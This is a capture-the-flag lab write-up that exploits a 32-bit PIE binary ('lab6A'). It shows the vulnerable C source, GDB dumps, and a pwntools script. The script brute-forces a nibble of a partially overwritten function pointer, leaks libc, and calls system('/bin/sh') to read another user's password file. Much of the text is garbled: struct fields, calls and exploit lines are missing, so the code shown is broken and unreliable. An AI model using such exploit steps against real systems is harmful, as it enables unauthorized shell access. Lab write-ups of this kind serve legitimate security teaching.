For this lab, we are given a program and its corresponding source code:

Exploitation with ASLR enabled
Lab A

gcc -fpie -pie -fno-stack-protector -o lab6A ./lab6A.c

Patrick Biernat

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "utils.h"

struct uinfo {
    char name[32];
    char desc[128];
    unsigned int sfunc;

struct item {
    char name[32];
    char price[10];

struct item ulisting;

void write_wrap(char ** buf) {
    write(1, *buf, 8);

void make_note() {
    char note[40];
    printf("Make a Note About your listing...: ");

void print_listing() {
    "Here is the listing you've created: \n");
    if(* == '\x00') {
    printf("Item: %s\n",;
    printf("Price: %s\n",ulisting.price);

void make_listing() {
    printf("Enter your item's name: ");
    fgets(, 31, stdin);
    printf("Enter your item's price: ");
    fgets(ulisting.price, 9, stdin);

void setup_account(struct uinfo * user) {
    char temp[128];
    memset(temp, 0, 128);
    printf("Enter your name: ");
    read(0, user->name, sizeof(user->name));
    printf("Enter your description: ");
    read(0, temp, sizeof(user->desc));
    strncpy(user->desc, user->name,32);
    strcat(user->desc, " is a ");

    memcpy(user->desc + strlen(user->desc), temp, strlen(temp));

void print_name(struct uinfo * info) {
    printf("Username: %s\n", info->name);

int main(int argc, char ** argv) {
    struct uinfo  merchant;
    char choice[4];

    ".-------------------------------------------------. \n" \
    "|  Welcome to l337-Bay                          + | \n"
    "|-------------------------------------------------| \n"
    "|1: Setup Account                                 | \n"
    "|2: Make Listing                                  | \n"
    "|3: View Info                                     | \n"
    "|4: Exit                                          | \n"
    "|-------------------------------------------------| \n" );

    // Initialize user info
    memset(, 0, 32);
    memset(merchant.desc, 0 , 64);
    merchant.sfunc = (unsigned int)print_listing;

    //initialize listing
    memset(, 0, 32);
    memset(ulisting.price, 0, 10);

    while(1) {
        memset(choice, 0, 4);
        printf("Enter Choice: ");

        if (fgets(choice, 2, stdin) == 0) {
        getchar(); // Eat the newline

        if (!strncmp(choice, "1",1)) {
        if (!strncmp(choice, "2",1)) {
        if (!strncmp(choice, "3",1)) { // ITS LIKE HAVING CLASSES IN C!
            ( (void (*) (struct uinfo *) ) merchant.sfunc) (&merchant);
        if (!strncmp(choice, "4",1)) {
            return EXIT_SUCCESS;


    return EXIT_SUCCESS;

If we run checksec, we can see that NX, PIE and full RELRO are enabled.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
RELRO     : Partial

Because PIE is enabled, the base address of the ELF executable segments is randomized.


If we look at the source code, we can see several vulnerabilities. In make_note() there is an insecure gets() call being used without a stack canary to protect the saved EIP.
Additionally, in setup_account(), memcpy() is used to write a maximum of 128 bytes from temp into an offset into merchant.desc. This second vulnerability is the one we will focus on to develop our exploit.


The problem with this vulnerability is that merchant.desc is a 128 byte buffer, so writing 128 bytes starting at an offset within this buffer space allows us to overwrite adjacent values on the stack.

Of particular interest to us, is the merchant.sfunc value which sits right next to merchant.desc and which conviently points to print_listing() which it calls if the user selects option 3 from the main menu. We can overwrite this value to make it call another function instead.

If we make the program call print_name() instead, the program will print out the However, if we completely fill the up, eliminating any null bytes, and do the same for merchant.desc, this function will also leak out other values on the stack, including a pointer to an ELF executable address (print_name()), and a pointer to a libc address. This will help us bypass ASLR and give us the ability to perform other sorts of attack like setting up a ROP chain using gadgets from libc or the executable to call system("/bin/sh").

Luckily, we don’t even need to build a ROP chain because using a second memcpy(), we can just replace merchant.sfunc so that it points to the address of system() in libc, and since it uses &merchant as its argument, we can write "/bin/sh" as the

Then, selecting option 3 again from the main menu should call system("/bin/sh") and give us a shell.

One problem we need to overcome is determining what the address of print_name() is so that we can write it to merchant.desc. Because ASLR and PIE are enabled, this address will be randomized everytime the program is run.

Fortunately, this address isn’t THAT randomized.

run 1:
gdb-peda$ p print_name
$1 = {<text variable, no debug info>} 0xb774abe2 <print_name>
gdb-peda$ p print_listing
$2 = {<text variable, no debug info>} 0xb774a9e0 <print_listing>

run 2:
gdb-peda$ p print_name
$3 = {<text variable, no debug info>} 0xb7790be2 <print_name>
gdb-peda$ p print_listing
$4 = {<text variable, no debug info>} 0xb77909e0 <print_listing>

run 3:
gdb-peda$ p print_name
$6 = {<text variable, no debug info>} 0xb77dbbe2 <print_name>
gdb-peda$ p print_listing
$7 = {<text variable, no debug info>} 0xb77db9e0 <print_listing>

We can see that print_name() and print_listing() each ALWAYS have the same lower/least significant 3 nibbles and same upper/most significant 3 nibbles. Only the middle two nibbles are ever randomized. This allows us to determine the address of print_name() by performing a partial overwrite of the last 2 bytes and brute forcing a nibble.

For clarity, here is the Merchant struct before the first memcpy():

gdb-peda$ x/42xw 0xffffd3cc 
0xffffd3cc:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd3dc:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd3ec:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd3fc:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd40c:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd41c:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd42c:     0xf7e3a273      0x00000000      0x00ca0000      0x00000001
0xffffd43c:     0x5655563d      0x56555819      0x56558000      0x00000001
0xffffd44c:     0x56555e22      0x00000001      0xffffd514      0xffffd51c
0xffffd45c:     0xf7e3a42d      0xf7fb13c4      0xf7ffd000      0x56555ddb
0xffffd46c:     0x565559e0      0x56555dd0

And here is the Merchant struct afterward:

gdb-peda$ x/42xw 0xffffd3cc
0xffffd3cc:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd3dc:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd3ec:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd3fc:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd40c:     0x20736920      0x41412061      0x41414141      0x41414141
0xffffd41c:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd42c:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd43c:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd44c:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd45c:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd46c:     0x56555be2      0x56555dd0

Notice how we only had to overwrite the lower 2 bytes of merchant.sfunc @ 0xffffd46c. We hope that this new address is the address of print_name(), although realistically, we will only be correct 1/16th of the time, or on average, around once every 8 tries.

Also notice that the pointer after merchant.sfunc points to an address inside libc.

gdb-peda$ telescope 0xffffd3cc 42
0000| 0xffffd3cc ('A' <repeats 64 times>, " is a ", 'A' <repeats 90 times>, "\342[UV\320]UV")
0004| 0xffffd3d0 ('A' <repeats 60 times>, " is a ", 'A' <repeats 90 times>, "\342[UV\320]UV")
0160| 0xffffd46c --> 0x56555be2 (<print_name>:  push   ebp)
0164| 0xffffd470 --> 0x56555dd0 (<__libc_csu_init>:     push   ebp)

Then, after the address of system() is leaked, this is what the Merchant struct looks like after the second memcpy():

gdb-peda$ x/41xw 0xffffd3cc
0xffffd3cc:     0x6e69622f      0x0068732f      0x41414141      0x41414141
0xffffd3dc:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd3ec:     0x6e69622f      0x2068732f      0x61207369      0x42424220
0xffffd3fc:     0x42424242      0x42424242      0x42424242      0x42424242
0xffffd40c:     0x42424242      0x42424242      0x42424242      0x42424242
0xffffd41c:     0x42424242      0x42424242      0x42424242      0x42424242
0xffffd42c:     0x42424242      0x42424242      0x42424242      0x42424242
0xffffd43c:     0x42424242      0x42424242      0x42424242      0x42424242
0xffffd44c:     0x42424242      0x42424242      0x42424242      0x42424242
0xffffd45c:     0x42424242      0x42424242      0x42424242      0x42424242
0xffffd46c:     0x5639e190

Observe that we have written "/bin/sh\0" to and that we have written the leaked address of system() to merchant.sfunc.

Putting everything together, the following exploit will grant us a shell.


#!/usr/bin/env python

from pwn import *
import sys

def exploit(r):
  #r.recvuntil("Choice: ") ## for debugging
  #r.sendline("3")         ## for debugging
  ## Overwrite merchant.sfunc w/ print_name() ##
  r.recvuntil("Choice: ")
  r.recvuntil(": ")
  r.send("A"*32) # we can use send() bcus read() doesn't null-terminate. therefore, no need to send a '\n'
  r.recvuntil(": ")
  r.send("A"*90+"\xe2\x5b") # brute force a nibble # print_name() = 0xXXXXXbe2
  ## Leak addresses ##
  r.recvuntil("Choice: ")
  r.sendline("3") # calls merchant.sfunc(&merchant);
  leakedelfptr = u32(r.recv(4))  # leaked &print_name()
  leakedlibcptr = u32(r.recv(4)) # leaked libc ptr
  libcbase = leakedlibcptr-0x1dddd0
  l.success("nibble found!")
  log.success("libcbase @ "+str(hex(libcbase)))
  system = libcbase+0x40190
  log.success("system @ "+str(hex(system))) 
  ## Write "/bin/sh" to ##
  r.recvuntil("Choice: ")
  r.recvuntil(": ")
  ## Write system() to merchant.sfunc ##
  r.recvuntil(": ")
  ## Trigger system("/bin/sh") ##
  r.recvuntil("Choice: ")


if __name__ == "__main__":"For remote: %s HOST PORT" % sys.argv[0])
  if len(sys.argv) > 1:
    r = remote(sys.argv[1], int(sys.argv[2]))
    l = log.progress("Working")
    exploited = False
    while exploited == False:
        l.status("brute forcing nibble")
        r = process([ '/levels/lab06/lab6A'])
        #print util.proc.pidof(r)
        exploited = True
lab6A@warzone:/tmp/lab6A$ python 
[*] For remote: HOST PORT
[+] Starting program '/levels/lab06/lab6A': Done
[+] libcbase @ 0xb7598000
[+] system @ 0xb75d8190
[*] Switching to interactive mode
$ id
uid=1024(lab6A) gid=1025(lab6A) euid=1025(lab6end) groups=1026(lab6end),1001(gameuser),1025(lab6A)
$ cat /home/lab6end/.pass